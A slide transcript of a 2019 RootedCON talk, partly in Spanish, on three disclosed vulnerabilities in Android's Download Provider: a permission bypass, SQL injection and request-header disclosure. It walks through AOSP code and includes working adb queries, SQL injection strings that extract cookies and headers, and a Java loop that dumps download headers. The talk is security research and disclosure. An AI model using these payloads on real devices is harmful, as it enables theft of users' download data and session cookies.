Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Daniel Kachakil - Android's Download Provider: Discovering and exploiting three high-risk vulnerabilities [rooted2019]

160 views

Published on

Daniel Kachakil - Android's Download Provider: Discovering and exploiting three high-risk vulnerabilities [rooted2019]

Published in: Technology
  • Be the first to comment

  • Be the first to like this

Daniel Kachakil - Android's Download Provider: Discovering and exploiting three high-risk vulnerabilities [rooted2019]

  1. 1. Android's Download Provider: Discovering and exploiting three high-risk vulnerabilities CVE-2018-9468, CVE-2018-9493, CVE-2018-9546 Daniel Kachakil RootedCON X (30/03/2019)
  2. 2. Daniel Kachakil • Ingeniero en Informática • Máster en Dirección y Gestión de Sistemas de Información • Participante en CTFs y Miembro de int3pids • Consultor de Seguridad Senior en @Kachakil 2
  3. 3. Content Providers
  4. 4. Content Providers DB FILES APP1CONTENT PROVIDER APP2 4
  5. 5. Content Providers (Introducción) MyClass extends ContentProvider • query() • insert() • update() • delete() • ... AndroidManifest.xml <manifest ... > <application ... > <provider android:name="ExampleProvider" android:authorities="com.example.app.provider" android:exported="true" ... /> </application> </manifest> 5
  6. 6. Content Providers (Implementación) public class ExampleProvider extends ContentProvider { private static final UriMatcher uriMatcher = new UriMatcher(UriMatcher.NO_MATCH); static { uriMatcher.addURI("com.example.app.provider", "table3", 1); uriMatcher.addURI("com.example.app.provider", "table3/#", 2); } @Override public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { ... switch (uriMatcher.match(uri)) { case 1: if (TextUtils.isEmpty(sortOrder)) sortOrder = "_ID ASC"; break; case 2: selection = selection + "_ID = " + uri.getLastPathSegment(); break; default: ... } } ... 6
  7. 7. Content Providers (Ejemplos de uso) Query: getContentResolver().query("content://com.example.app.provider/table3", null, null, null, null); Update: ContentValues values = new ContentValues(); values.put(UserDictionary.Words.WORD, "test"); getContentResolver().update(UserDictionary.Words.CONTENT_URI, values, null, null); Delete: getContentResolver().delete(UserDictionary.Words.CONTENT_URI, null, null); ADB: adb shell content query --uri content://com.example.app.provider/table3/1234 7 projection "c1, c2" selection "c3=? AND c4=?" selectionArgs ["v3", "v4"] sortOrder "c5 ASC"
  8. 8. Content Providers (Repositorios) https://android.googlesource.com/ platform/packages/providers/UserDictionaryProvider/ platform/packages/providers/DownloadProvider/ https://github.com/aosp-mirror/ platform_packages_providers_downloadprovider "The aosp-mirror GitHub account provides a read-only mirror of some of the most common repositories from the Android Open Source Project." 8
  9. 9. User Dictionary Content Provider
  10. 10. User Dictionary Content Provider https://ioactive.com/discovering-and-exploiting-a-vulnerability-in-androids-personal-dictionary/ 10
  11. 11. User Dictionary Content Provider (Update) public int update(Uri uri, ContentValues values, String where, String[] whereArgs) { SQLiteDatabase db = mOpenHelper.getWritableDatabase(); int count; switch (sUriMatcher.match(uri)) { case WORDS: count = db.update(USERDICT_TABLE_NAME, values, where, whereArgs); break; case WORD_ID: String wordId = uri.getPathSegments().get(1); count = db.update(USERDICT_TABLE_NAME, values, Words._ID + "=" + wordId + (!TextUtils.isEmpty(where) ? " AND (" + where + ')' : ""), whereArgs); break; default: throw new IllegalArgumentException("Unknown URI " + uri); } // Only the enabled IMEs and spell checkers can access this provider. if (!canCallerAccessUserDictionary()) { return 0; } getContext().getContentResolver().notifyChange(uri, null); mBackupManager.dataChanged(); return count; } 11
  12. 12. User Dictionary Content Provider (Delete) public int delete(Uri uri, String where, String[] whereArgs) { SQLiteDatabase db = mOpenHelper.getWritableDatabase(); int count; switch (sUriMatcher.match(uri)) { case WORDS: count = db.delete(USERDICT_TABLE_NAME, where, whereArgs); break; case WORD_ID: String wordId = uri.getPathSegments().get(1); count = db.delete(USERDICT_TABLE_NAME, Words._ID + "=" + wordId + (!TextUtils.isEmpty(where) ? " AND (" + where + ')' : ""), whereArgs); break; default: throw new IllegalArgumentException("Unknown URI " + uri); } // Only the enabled IMEs and spell checkers can access this provider. if (!canCallerAccessUserDictionary()) { return 0; } getContext().getContentResolver().notifyChange(uri, null); mBackupManager.dataChanged(); return count; } 12
  13. 13. User Dictionary Content Provider (Manifest) <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.android.providers.userdictionary" android:sharedUserId="android.uid.shared"> <application android:process="android.process.acore" android:label="@string/app_label" android:allowClearUserData="false" android:backupAgent="DictionaryBackupAgent" android:killAfterRestore="false" android:usesCleartextTraffic="false"> <provider android:name="UserDictionaryProvider" android:authorities="user_dictionary" android:syncable="false" android:multiprocess="false" android:exported="true" /> </application> </manifest> 13
  14. 14. Download Provider
  15. 15. Download Provider 15
  16. 16. Download Provider +----------------------+ +--------------------------------------+ +-------------+ | | | | | | | Download Manager | | Browser / Gmail / Market / Updater | | Viewer App | | | | | | | +----------------------+ +--------------------------------------+ +-------------+ ^ | ^ ^ ^ | | | | | | | | | | | | | +---------------------------+ | | | | | | | | | | | | | | | | | | +-------- - - - - - - - - - - - - ------------+ | | | | | | | | | | | | +------------- - - - - - - - - - - - - -----------------------------+ | | | | | | +--------------->| Android framework | | | | | +---------------------------+ https://android.googlesource.com/platform/packages/providers/DownloadProvider/+/refs/heads/master/docs/index.html 16
  17. 17. Download Provider Application Download Manager Viewer App | | | | initiate download | | |------------------------------------>| | |<------------------------------------| | | content provider URI | | | | | | query download | | |------------------------------------>| | |<------------------------------------| | | Cursor | | | | | | register ContentObserver | | |------------------------------------>| | | | | | ContentObserver notification | | |<------------------------------------| | | | | | intent "notification clicked" | | |<------------------------------------| | | | | | intent "download complete" | | |<------------------------------------| | | | intent "view" | | |------------------------------------>| | update download | | |------------------------------------>| | | | | | open downloaded file | | |------------------------------------>| | |<------------------------------------| | | ParcelFileDescriptor | | | | | | delete download | | |------------------------------------>| | | | | v v v 17
  18. 18. Downloads.db • downloads • request_headers • android_metadata • sqlite_sequence 18
  19. 19. Downloads.db (Downloads) Column Value _id 4 uri https://ioactive.com/wp-content/uploads/2018/05/SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab.pdf method 0 hint file:///storage/sdcard/Download/SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab.pdf _data /storage/sdcard/Download/SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab.pdf mimetype application/pdf destination 4 visibility 0 status 200 numfailed 0 lastmod 1530272171999 notificationpackage com.android.browser total_bytes 2373708 current_bytes 2373708 etag "5c48eb6d3e48a5e09e97ababab3e3777" uid 10016 title SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab.pdf description ioactive.com scanned 1 is_public_api 1 allow_roaming 1 allowed_network_types -1 is_visible_in_downloads_ui 1 bypass_recommended_size_limit 0 mediaprovider_uri content://media/external/file/22 Deleted 0 allow_metered 1 allow_write 0 19
  20. 20. Downloads.db (Request_Headers) id download_id header value 1 4 Referer https://example.com/test 2 4 User-Agent Mozilla/5.0 (Linux; Android 5.1.1; Android SDK built for x86_64 Build/LMY48X) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36 3 4 cookie _gat_gtag_UA_10120511_1=1; euCookie=set; _ga=GA1.2.202646387.1530272140; _gid=GA1.2.989735187.1530272140; wp34793=WXACWDDDDDDBXYUYMVV-WWXC-XIYV-CHHM- TUUTKZILKIVVDHBHVILHB-XYMX-XWUZ-HHTC-UWHXZBTMKHXXDphHJmpOL_Jht 20
  21. 21. Download Provider (Manifest) <provider android:name=".DownloadProvider" android:authorities="downloads" android:exported="true"> <!-- Anyone can access /my_downloads, the provider internally restricts access by UID for these URIs --> <path-permission android:pathPrefix="/my_downloads" android:permission="android.permission.INTERNET" /> <!-- to access /all_downloads, ACCESS_ALL_DOWNLOADS permission is required --> <path-permission android:pathPrefix="/all_downloads" android:permission="android.permission.ACCESS_ALL_DOWNLOADS" /> <!-- Temporary, for backwards compatibility --> <path-permission android:pathPrefix="/download" android:permission="android.permission.INTERNET" /> <!-- Apps with access to /all_downloads/... can grant permissions, allowing them to share downloaded files with other viewers --> <grant-uri-permission android:pathPrefix="/all_downloads/" /> <!-- Apps with access to /my_downloads/... can grant permissions, allowing them to share downloaded files with other viewers --> <grant-uri-permission android:pathPrefix="/my_downloads/" /> </provider> 21
  22. 22. Download Content Provider (UriMatcher) /** URI matcher used to recognize URIs sent by applications */ private static final UriMatcher sURIMatcher = new UriMatcher(UriMatcher.NO_MATCH); /** URI matcher constant for the URI of all downloads belonging to the calling UID */ private static final int MY_DOWNLOADS = 1; /** URI matcher constant for the URI of an individual download belonging to the calling UID */ private static final int MY_DOWNLOADS_ID = 2; /** URI matcher constant for the URI of all downloads in the system */ private static final int ALL_DOWNLOADS = 3; /** URI matcher constant for the URI of an individual download */ private static final int ALL_DOWNLOADS_ID = 4; /** URI matcher constant for the URI of a download's request headers */ private static final int REQUEST_HEADERS_URI = 5; /** URI matcher constant for the public URI returned by * {@link DownloadManager#getUriForDownloadedFile(long)} if the given downloaded file is publicly accessible. */ private static final int PUBLIC_DOWNLOAD_ID = 6; 22
  23. 23. Download Content Provider (UriMatcher) static { sURIMatcher.addURI("downloads", "my_downloads", MY_DOWNLOADS); sURIMatcher.addURI("downloads", "my_downloads/#", MY_DOWNLOADS_ID); sURIMatcher.addURI("downloads", "all_downloads", ALL_DOWNLOADS); sURIMatcher.addURI("downloads", "all_downloads/#", ALL_DOWNLOADS_ID); sURIMatcher.addURI("downloads", "my_downloads/#/" + Downloads.Impl.RequestHeaders.URI_SEGMENT, REQUEST_HEADERS_URI); sURIMatcher.addURI("downloads", "all_downloads/#/" + Downloads.Impl.RequestHeaders.URI_SEGMENT, REQUEST_HEADERS_URI); // temporary, for backwards compatibility sURIMatcher.addURI("downloads", "download", MY_DOWNLOADS); sURIMatcher.addURI("downloads", "download/#", MY_DOWNLOADS_ID); sURIMatcher.addURI("downloads", "download/#/" + Downloads.Impl.RequestHeaders.URI_SEGMENT, REQUEST_HEADERS_URI); sURIMatcher.addURI("downloads", Downloads.Impl.PUBLICLY_ACCESSIBLE_DOWNLOADS_URI_SEGMENT + "/#", PUBLIC_DOWNLOAD_ID); } 23
  24. 24. Download Content Provider (UriMatcher) static { sURIMatcher.addURI("downloads", "my_downloads", MY_DOWNLOADS); sURIMatcher.addURI("downloads", "my_downloads/#", MY_DOWNLOADS_ID); sURIMatcher.addURI("downloads", "all_downloads", ALL_DOWNLOADS); sURIMatcher.addURI("downloads", "all_downloads/#", ALL_DOWNLOADS_ID); sURIMatcher.addURI("downloads", "my_downloads/#/headers", REQUEST_HEADERS_URI); sURIMatcher.addURI("downloads", "all_downloads/#/headers", REQUEST_HEADERS_URI); // temporary, for backwards compatibility sURIMatcher.addURI("downloads", "download", MY_DOWNLOADS); sURIMatcher.addURI("downloads", "download/#", MY_DOWNLOADS_ID); sURIMatcher.addURI("downloads", "download/#/headers", REQUEST_HEADERS_URI); sURIMatcher.addURI("downloads", "public_downloads/#", PUBLIC_DOWNLOAD_ID); } 24
  25. 25. Download Content Provider (Query 1/3) @Override public Cursor query(final Uri uri, String[] projection, final String selection, final String[] selectionArgs, final String sort) { SQLiteDatabase db = mOpenHelper.getReadableDatabase(); int match = sURIMatcher.match(uri); if (match == -1) { if (Constants.LOGV) { Log.v(Constants.TAG, "querying unknown URI: " + uri); } throw new IllegalArgumentException("Unknown URI: " + uri); } if (match == REQUEST_HEADERS_URI) { if (projection != null || selection != null || sort != null) { throw new UnsupportedOperationException("Request header queries do not support " + "projections, selections or sorting"); } return queryRequestHeaders(db, uri); } ... 25
  26. 26. Download Content Provider (Query 2/3) SqlSelection fullSelection = getWhereClause(uri, selection, selectionArgs, match); if (shouldRestrictVisibility()) { if (projection == null) { projection = sAppReadableColumnsArray.clone(); } else { // check the validity of the columns in projection for (int i = 0; i < projection.length; ++i) { if (!sAppReadableColumnsSet.contains(projection[i]) && !downloadManagerColumnsList.contains(projection[i])) { throw new IllegalArgumentException( "column " + projection[i] + " is not allowed in queries"); } } } for (int i = 0; i < projection.length; i++) { final String newColumn = sColumnsMap.get(projection[i]); if (newColumn != null) { projection[i] = newColumn; } } } 26
  27. 27. Download Content Provider (Query 3/3) if (Constants.LOGVV) { logVerboseQueryInfo(projection, selection, selectionArgs, sort, db); } SQLiteQueryBuilder builder = new SQLiteQueryBuilder(); builder.setTables(DB_TABLE); builder.setStrict(true); Cursor ret = builder.query(db, projection, fullSelection.getSelection(), fullSelection.getParameters(), null, null, sort); if (ret != null) { ret.setNotificationUri(getContext().getContentResolver(), uri); if (Constants.LOGVV) { Log.v(Constants.TAG, "created cursor " + ret + " on behalf of " + Binder.getCallingPid()); } } else { if (Constants.LOGV) { Log.v(Constants.TAG, "query failed in downloads database"); } } return ret; } 27
  28. 28. Download Content Provider (Methods) private SqlSelection getWhereClause(final Uri uri, final String where, final String[] whereArgs, int uriMatch) { SqlSelection selection = new SqlSelection(); selection.appendClause(where, whereArgs); if (uriMatch == MY_DOWNLOADS_ID || uriMatch == ALL_DOWNLOADS_ID || uriMatch == PUBLIC_DOWNLOAD_ID) { selection.appendClause(Downloads.Impl._ID + " = ?", getDownloadIdFromUri(uri)); } if ((uriMatch == MY_DOWNLOADS || uriMatch == MY_DOWNLOADS_ID) && getContext().checkCallingOrSelfPermission(Downloads.Impl.PERMISSION_ACCESS_ALL) != PackageManager.PERMISSION_GRANTED) { selection.appendClause(Constants.UID + "= ? OR " + Downloads.Impl.COLUMN_OTHER_UID + "= ?", Binder.getCallingUid(), Binder.getCallingUid()); } return selection; } private boolean shouldRestrictVisibility() { int callingUid = Binder.getCallingUid(); return Binder.getCallingPid() != Process.myPid() && callingUid != mSystemUid && callingUid != mDefContainerUid; } 28
  29. 29. Permission "Bypass" CVE-2018-9468
  30. 30. Public Downloads <provider android:name=".DownloadProvider" android:authorities="downloads" android:exported="true"> <!-- Anyone can access /my_downloads, the provider internally restricts access by UID for these URIs --> <path-permission android:pathPrefix="/my_downloads" android:permission="android.permission.INTERNET" /> <!-- to access /all_downloads, ACCESS_ALL_DOWNLOADS permission is required --> <path-permission android:pathPrefix="/all_downloads" android:permission="android.permission.ACCESS_ALL_DOWNLOADS" /> <!-- Temporary, for backwards compatibility --> <path-permission android:pathPrefix="/download" android:permission="android.permission.INTERNET" /> ... DownloadProvider.java static { ... sURIMatcher.addURI("downloads", "public_downloads/#", PUBLIC_DOWNLOAD_ID); } 30
  31. 31. Public Downloads adb shell content query --uri content://downloads/public_downloads/1 adb shell content query --uri content://downloads/public_downloads/2 adb shell content query --uri content://downloads/public_downloads/3 adb shell content query --uri content://downloads/public_downloads/4 adb shell content query --uri content://downloads/public_downloads/5 ... 31
  32. 32. Exploit 32
  33. 33. Download Content Provider (OpenFile 1/2) @Override public ParcelFileDescriptor openFile(final Uri uri, String mode) throws FileNotFoundException { if (Constants.LOGVV) { logVerboseOpenFileInfo(uri, mode); } // Perform normal query to enforce caller identity access before // clearing it to reach internal-only columns final Cursor probeCursor = query(uri, new String[] { Downloads.Impl._DATA }, null, null, null); try { if ((probeCursor == null) || (probeCursor.getCount() == 0)) { throw new FileNotFoundException("No file found for " + uri + " as UID " + Binder.getCallingUid()); } } finally { IoUtils.closeQuietly(probeCursor); } ... 33
  34. 34. Download Content Provider (OpenFile 2/2) ... final int pfdMode = ParcelFileDescriptor.parseMode(mode); if (pfdMode == ParcelFileDescriptor.MODE_READ_ONLY) { return ParcelFileDescriptor.open(file, pfdMode); } else { try { // When finished writing, update size and timestamp return ParcelFileDescriptor.open(file, pfdMode, Helpers.getAsyncHandler(), new OnCloseListener() { @Override public void onClose(IOException e) { final ContentValues values = new ContentValues(); values.put(Downloads.Impl.COLUMN_TOTAL_BYTES, file.length()); values.put(Downloads.Impl.COLUMN_LAST_MODIFICATION, System.currentTimeMillis()); update(uri, values, null, null); ... } }); ... 34
  35. 35. SQL injection CVE-2018-9493
  36. 36. Download Content Provider @Override public int update(final Uri uri, final ContentValues values, final String where, final String[] whereArgs) { if (shouldRestrictVisibility()) { Helpers.validateSelection(where, sAppReadableColumnsSet); } ... @Override public int delete(final Uri uri, final String where, final String[] whereArgs) { if (shouldRestrictVisibility()) { Helpers.validateSelection(where, sAppReadableColumnsSet); } ... @Override public Uri insert(final Uri uri, final ContentValues values) { checkInsertPermissions(values); ... 36
  37. 37. Download Content Provider (Readable Columns) private static final String[] sAppReadableColumnsArray = new String[] { Downloads.Impl._ID, Downloads.Impl.COLUMN_APP_DATA, Downloads.Impl._DATA, Downloads.Impl.COLUMN_MIME_TYPE, Downloads.Impl.COLUMN_VISIBILITY, Downloads.Impl.COLUMN_DESTINATION, Downloads.Impl.COLUMN_CONTROL, Downloads.Impl.COLUMN_STATUS, Downloads.Impl.COLUMN_LAST_MODIFICATION, Downloads.Impl.COLUMN_NOTIFICATION_PACKAGE, Downloads.Impl.COLUMN_NOTIFICATION_CLASS, Downloads.Impl.COLUMN_TOTAL_BYTES, Downloads.Impl.COLUMN_CURRENT_BYTES, Downloads.Impl.COLUMN_TITLE, Downloads.Impl.COLUMN_DESCRIPTION, Downloads.Impl.COLUMN_URI, Downloads.Impl.COLUMN_IS_VISIBLE_IN_DOWNLOADS_UI, Downloads.Impl.COLUMN_FILE_NAME_HINT, Downloads.Impl.COLUMN_MEDIAPROVIDER_URI, Downloads.Impl.COLUMN_DELETED, OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE, }; 37
  38. 38. Download Content Provider 38 adb pull /system/priv-app/DownloadProvider/DownloadProvider.apk .
  39. 39. Download Content Provider (ValidateSelection) /** * Checks whether this looks like a legitimate selection parameter */ public static void validateSelection(String selection, Set<String> allowedColumns) { try { if (selection == null || selection.isEmpty()) { return; } Lexer lexer = new Lexer(selection, allowedColumns); parseExpression(lexer); if (lexer.currentToken() != Lexer.TOKEN_END) { throw new IllegalArgumentException("syntax error"); } } catch (RuntimeException ex) { if (Constants.LOGV) { Log.d(Constants.TAG, "invalid selection [" + selection + "] triggered " + ex); } else if (false) { Log.d(Constants.TAG, "invalid selection triggered " + ex); } throw ex; } } 39
  40. 40. Enable search for Downloads https://android.googlesource.com/platform/packages/providers/ DownloadProvider/+/b759707b80987d0cb4ad2a3a78c11702a45a36c2 Title: Enable search for Downloads Change-Id: Ide23c822b97ccab29a341184f14698dc942e8e14 Commit date: 10/05/2016 23:48:01 40
  41. 41. Enable search for Downloads 41
  42. 42. Enable search for Downloads 42
  43. 43. Enable search for Downloads (SQL injection) adb shell content query --uri content://downloads/public_downloads/0 --where "('1'='1'))) ORDER BY lastmod DESC--" Error while accessing provider:downloads android.database.sqlite.SQLiteException: near "ORDER": syntax error (code 1): , while compiling: SELECT _id, ... FROM downloads WHERE (((('1'='1'))) ORDER BY lastmod DESC--) AND (_id = ?))) adb shell content query --uri content://downloads/public_downloads/0 --where "('1'='1')))) ORDER BY lastmod DESC--" Error while accessing provider:downloads android.database.sqlite.SQLiteException: near "ORDER": syntax error (code 1): , while compiling: SELECT _id, ... FROM downloads WHERE ((('1'='1')))) ORDER BY lastmod DESC--) AND (_id = ?)) adb shell content query --uri content://downloads/public_downloads/0 --where "('1'='1')))) ORDER BY example DESC--" Error while accessing provider:downloads android.database.sqlite.SQLiteException: no such column: example (code 1): , while compiling: SELECT _id, ... FROM downloads WHERE (((('1'='1')))) ORDER BY example DESC--) AND (_id = ?))) 43
  44. 44. Download Content Provider (SQL injection) adb shell content query --uri content://downloads/public_downloads/0 ... --where "1=1) OR (1=1" --where "1=1) AND (_id=1 AND cookiedata LIKE 'a%') OR (1=1" --where "1=1) AND (SELECT header FROM request_headers WHERE _id=1) LIKE 'a%' OR (1=1" ¿Por qué con OR? Porque después getWhereClause() concatena por la derecha esto: ... AND (_id=?) El operador AND tiene preferencia sobre OR: → WHERE (((1=1) AND (cond) OR (1=1) AND (_id = 0))) → WHERE ( true AND cond) OR (true AND false ) → WHERE cond OR false → WHERE cond 44
  45. 45. SQLiteQueryBuilder.setStrict() https://android.googlesource.com/platform/frameworks/base/+/ 462aaeaa616e0bb1342e8ef7b472acc0cbc93deb SQLiteQueryBuilder has a setStrict() mode which can be used to detect SQL attacks from untrusted sources, which it does by running each query twice: once with an extra set of parentheses, and if that succeeds, it runs the original query verbatim. This sadly doesn't catch inputs of the type "1=1) OR (1=1", which creates valid statements for both tests above, but the final executed query ends up leaking data due to SQLite operator precedence. Instead, we need to continue compiling both variants, but we need to execute the query with the additional parentheses to ensure data won't be leaked. 45
  46. 46. Permission "Bypass" (Headers) CVE-2018-9543
  47. 47. Request Headers <provider android:name=".DownloadProvider" android:authorities="downloads" android:exported="true"> <!-- Anyone can access /my_downloads, the provider internally restricts access by UID for these URIs --> <path-permission android:pathPrefix="/my_downloads" android:permission="android.permission.INTERNET" /> <!-- to access /all_downloads, ACCESS_ALL_DOWNLOADS permission is required --> <path-permission android:pathPrefix="/all_downloads" android:permission="android.permission.ACCESS_ALL_DOWNLOADS" /> <!-- Temporary, for backwards compatibility --> <path-permission android:pathPrefix="/download" android:permission="android.permission.INTERNET" /> ... DownloadProvider.java static { ... sURIMatcher.addURI("downloads", "my_downloads/#/headers", REQUEST_HEADERS_URI); sURIMatcher.addURI("downloads", "all_downloads/#/headers", REQUEST_HEADERS_URI); sURIMatcher.addURI("downloads", "download/#/headers", REQUEST_HEADERS_URI); } 47
  48. 48. Download Content Provider (QueryRequestHeaders) /** * Handle a query for the custom request headers registered for a download. */ private Cursor queryRequestHeaders(SQLiteDatabase db, Uri uri) { String where = Downloads.Impl.RequestHeaders.COLUMN_DOWNLOAD_ID + "=" + getDownloadIdFromUri(uri); String[] projection = new String[] {Downloads.Impl.RequestHeaders.COLUMN_HEADER, Downloads.Impl.RequestHeaders.COLUMN_VALUE}; return db.query(Downloads.Impl.RequestHeaders.HEADERS_DB_TABLE, projection, where, null, null, null, null); } 48
  49. 49. "My" Downloads Headers adb shell content query --uri content://downloads/my_downloads/1/headers adb shell content query --uri content://downloads/my_downloads/2/headers adb shell content query --uri content://downloads/my_downloads/3/headers adb shell content query --uri content://downloads/my_downloads/4/headers adb shell content query --uri content://downloads/my_downloads/5/headers ... 49
  50. 50. Download Headers (Exploit) for (int id = 0; id <= 10000; id++) { Uri uri = Uri.parse(MY_DOWNLOADS_URI + id + HEADERS_URI_SEGMENT); Cursor cur = res.query(uri, null, null, null, null); try { if (cur != null && cur.getCount() > 0) { StringBuilder sb = new StringBuilder(LOG_SEPARATOR); sb.append("HEADERS FOR DOWNLOAD ID ").append(id).append("n"); while (cur.moveToNext()) { String rowHeader = cur.getString(cur.getColumnIndex("header")); String rowValue = cur.getString(cur.getColumnIndex("value")); sb.append(rowHeader).append(": ").append(rowValue).append("nn"); } log(sb.toString()); } } finally { if (cur != null) cur.close(); } } 50
  51. 51. Conclusiones
  52. 52. Conclusiones • Detectar fallos en el código que se ve es relativamente fácil • Detectarlos en el código que no está (y debería estar), no es tan obvio • No hay que tener miedo a proyectos grandes y en teoría muy revisados • Millones de dispositivos Android siguen siendo vulnerables a estos fallos • Ojo con las apps que nos instalamos y con lo que descargamos desde Android • Si desarrolláis apps y usáis el gestor de descargas de Android, no confiéis en que el fichero descargado vaya a ser el mismo que el del servidor 52
  53. 53. Más información
  54. 54. Más información • Blog post y vídeos demo: • https://ioactive.com/multiple-vulnerabilities-in-androids-download-provider-cve- 2018-9468-cve-2018-9493-cve-2018-9546/ • Informes técnicos (Advisories): • https://ioactive.com/wp-content/uploads/2019/04/IOActive-Security-Advisory- Androids-Download-Provider-Permission-Bypass-CVE-2018-9468.pdf • https://ioactive.com/wp-content/uploads/2019/04/IOActive-Security-Advisory- Androids-Download-Provider-SQL-Injection-CVE-2018-9493.pdf • https://ioactive.com/wp-content/uploads/2019/04/IOActive-Security-Advisory- Androids-Download-Provider-Request-Headers-Disclosure-CVE-2018-9546.pdf • Pruebas de concepto: • https://github.com/IOActive/AOSP-DownloadProviderHijacker • https://github.com/IOActive/AOSP-DownloadProviderDbDumper • https://github.com/IOActive/AOSP-DownloadProviderHeadersDumper 54
  55. 55. ¡Gracias! Daniel Kachakil https://github.com/ioactive https://blog.ioactive.com

×